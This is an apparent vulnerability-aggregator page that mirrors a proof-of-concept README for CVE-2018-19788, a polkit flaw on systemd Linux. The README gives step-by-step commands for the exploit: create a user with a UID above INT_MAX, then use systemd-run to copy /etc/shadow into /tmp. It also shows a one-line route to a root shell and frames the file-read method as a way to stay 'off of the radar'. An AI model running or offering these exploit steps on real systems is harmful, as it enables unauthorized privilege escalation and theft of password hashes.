CVE-2018-19788 PoC — Red Hat PolicyKit 输入验证错误漏洞

Source

Associated Vulnerability

Title:Red Hat PolicyKit 输入验证错误漏洞 (CVE-2018-19788)
Description:Red Hat PolicyKit（Polkit）是美国红帽（Red Hat）公司的一个用于在Unix兼容系统中对应用程序进行权限控制的工具。该工具为现代桌面提供了一个中央框架用于授权一般应用程序进行特权工作。 Red Hat PolicyKit 0.115版本中存在安全漏洞。攻击者可利用该漏洞执行任意的systemctl命令。

Description

Leveraging CVE-2018-19788 without root shells

Readme

# Leveraging CVE-2018-19788 to dump protected files without root shell

[CVE-2018-19788](https://gitlab.freedesktop.org/polkit/polkit/issues/74) is an issue where any user with a UID over INT_MAX (IE 4000000000) can run any systemctl command on a systemd linux box, such as Ubuntu. (There is already a writeup to gain a root shell found: [here](http://manivelsysad.blogspot.com/2018/12/low-privileged-user-with-uid-greater.html)). The main difference between this writeup and the full root shell writeup is that this will be run as the user itself instead of a root user (basically just a PoC to be honest)

# Getting /etc/shadow without executing a root shell

To get a root shell it's as simple as running `systemd-run -t /bin/bash` but if you want to keep off of the radar you can run simple commands to get privileged files without a terminal. Follow these steps to do it:

 - Add a user with a UID above INT_MAX:
   ```bash
   adduser --uid 4000000000 someusername
   ```
 - Switch into the user account:
   ```bash
   su someusername
   ```
 - Run the command for whatever file you would like (we'll use /etc/shadow for this):
   ```bash
   systemd-run bash -c 'cat /etc/shadow > /tmp/results_poc.txt'
   ```
 - Your file is now in `/tmp`:
   ```bash
   cat /tmp/results_poc.txt
   ```

# PoC video

[![to_video](https://user-images.githubusercontent.com/14183473/50110172-3476cd00-01ff-11e9-883c-1a9fb3e0361e.png)](https://vimeo.com/306879983)

File Snapshot


 [4.0K]  /data/pocs/13c0f1e5d9d98cb868615865f838badca656727f
├── [2.5K]  check.py
├── [2.8K]  poc.py
└── [1.4K]  README.md

0 directories, 3 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!